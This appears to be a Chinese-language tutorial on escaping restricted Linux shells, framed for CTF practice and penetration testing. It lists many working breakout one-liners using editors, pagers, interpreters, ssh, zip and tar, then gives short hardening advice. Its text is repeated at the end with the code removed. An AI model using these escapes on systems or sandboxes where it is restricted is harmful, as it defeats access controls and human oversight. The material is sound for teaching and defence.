绕过Linux受限Shell环境的技巧
字数 1195 2025-08-29 08:32:18

Linux受限Shell环境绕过技术详解

1. 受限Shell环境概述

受限Shell环境(Restricted Shell)是一种会阻止或限制某些命令和环境变量使用的Shell环境,常见类型包括:

  • rbash (Restricted Bash)
  • rksh (Restricted Korn Shell)
  • rsh (Restricted Shell)

受限Shell的用途

  1. 提高系统安全性
  2. 防止黑客/渗透测试攻击
  3. 防止危险命令的误操作
  4. 用于CTF挑战(Root-me/HackTheBox/Vulnhub)

2. 环境枚举技术

在尝试绕过前,必须充分枚举当前环境:

  1. 检查可用命令:测试cdlsecho等基本命令是否可用
  2. 检查操作符:测试>>><|等重定向和管道操作符
  3. 检查编程语言:寻找可用的perlrubypython等解释器
  4. 检查sudo权限:运行sudo -l查看可以root身份运行的命令
  5. 检查SUID文件:查找具有SUID权限的文件或命令
  6. 检查当前Shellecho $SHELL通常显示rbash
  7. 检查环境变量:使用envprintenv命令

3. 常见绕过技术

3.1 基本绕过方法

  1. 直接调用Shell

    /bin/sh
    /bin/bash
    
  2. 使用cp命令复制Shell

    cp /bin/sh /tmp/mysh
    /tmp/mysh
    
  3. 通过FTP绕过

    ftp
    !/bin/sh
    
  4. 使用GDB绕过

    gdb
    !/bin/sh
    
  5. 通过分页程序绕过

    more /etc/passwd
    !/bin/sh
    
    # 或
    less /etc/passwd
    !/bin/sh
    
    # 或
    man ls
    !/bin/sh
    
  6. 使用Vim绕过

    vim
    :!/bin/sh
    
  7. 使用RVim和Python

    rvim
    :python import os; os.system("/bin/bash")
    
  8. 使用SCP绕过

    scp -S /path/yourscript x y:
    
  9. 使用AWK执行Shell

    awk 'BEGIN {system("/bin/sh")}'
    
  10. 使用Find执行Shell

    find / -name test -exec /bin/sh \;
    

4. 基于编程语言的绕过技术

  1. Expect

    expect
    spawn sh
    
  2. Python

    python -c 'import os; os.system("/bin/sh")'
    
  3. PHP

    php -a
    exec("sh -i");
    
  4. Perl

    perl -e 'exec "/bin/sh";'
    
  5. Lua

    lua
    os.execute('/bin/sh')
    
  6. Ruby

    ruby
    exec "/bin/sh"
    

5. 高级绕过技术

  1. SSH方法1

    ssh username@IP -t "/bin/sh"
    
  2. SSH方法2

    ssh username@IP -t "bash --noprofile"
    
  3. SSH方法3(Shellshock)

    ssh username@IP -t "() { :; }; /bin/bash"
    
  4. SSH方法4(SUID利用)

    ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1
    
  5. Git绕过

    git help status
    !/bin/bash
    
  6. Pico编辑器绕过

    pico -s "/bin/bash"
    # 然后CTRL+T执行
    
  7. Zip绕过

    zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
    
  8. Tar绕过

    tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
    

6. 实践挑战

推荐实践平台:

  • Root-me INSANE rbash绕过挑战:
    https://www.root-me.org/en/Challenges/App-Script/Restricted-shells
  • HackTheBox相关挑战

7. 防御措施

为防止受限Shell被绕过,管理员应:

  1. 限制所有不必要的命令和程序
  2. 严格控制PATH环境变量
  3. 禁用所有非必要的编程语言解释器
  4. 定期审计SUID/SGID文件
  5. 使用chroot jail等更严格的隔离机制

总结

本文详细介绍了多种绕过Linux受限Shell环境的技术,从基本方法到高级技巧,涵盖了命令行工具、编程语言和特殊利用方式。在实际渗透测试或安全评估中,应根据具体环境选择合适的方法。同时,作为系统管理员,了解这些绕过技术有助于更好地加固受限Shell环境。

Linux受限Shell环境绕过技术详解 1. 受限Shell环境概述 受限Shell环境(Restricted Shell)是一种会阻止或限制某些命令和环境变量使用的Shell环境,常见类型包括: rbash (Restricted Bash) rksh (Restricted Korn Shell) rsh (Restricted Shell) 受限Shell的用途 提高系统安全性 防止黑客/渗透测试攻击 防止危险命令的误操作 用于CTF挑战(Root-me/HackTheBox/Vulnhub) 2. 环境枚举技术 在尝试绕过前,必须充分枚举当前环境: 检查可用命令 :测试 cd 、 ls 、 echo 等基本命令是否可用 检查操作符 :测试 > 、 >> 、 < 、 | 等重定向和管道操作符 检查编程语言 :寻找可用的 perl 、 ruby 、 python 等解释器 检查sudo权限 :运行 sudo -l 查看可以root身份运行的命令 检查SUID文件 :查找具有SUID权限的文件或命令 检查当前Shell : echo $SHELL 通常显示rbash 检查环境变量 :使用 env 或 printenv 命令 3. 常见绕过技术 3.1 基本绕过方法 直接调用Shell : 使用cp命令复制Shell : 通过FTP绕过 : 使用GDB绕过 : 通过分页程序绕过 : 使用Vim绕过 : 使用RVim和Python : 使用SCP绕过 : 使用AWK执行Shell : 使用Find执行Shell : 4. 基于编程语言的绕过技术 Expect : Python : PHP : Perl : Lua : Ruby : 5. 高级绕过技术 SSH方法1 : SSH方法2 : SSH方法3(Shellshock) : SSH方法4(SUID利用) : Git绕过 : Pico编辑器绕过 : Zip绕过 : Tar绕过 : 6. 实践挑战 推荐实践平台: Root-me INSANE rbash绕过挑战: https://www.root-me.org/en/Challenges/App-Script/Restricted-shells HackTheBox相关挑战 7. 防御措施 为防止受限Shell被绕过,管理员应: 限制所有不必要的命令和程序 严格控制PATH环境变量 禁用所有非必要的编程语言解释器 定期审计SUID/SGID文件 使用chroot jail等更严格的隔离机制 总结 本文详细介绍了多种绕过Linux受限Shell环境的技术,从基本方法到高级技巧,涵盖了命令行工具、编程语言和特殊利用方式。在实际渗透测试或安全评估中,应根据具体环境选择合适的方法。同时,作为系统管理员,了解这些绕过技术有助于更好地加固受限Shell环境。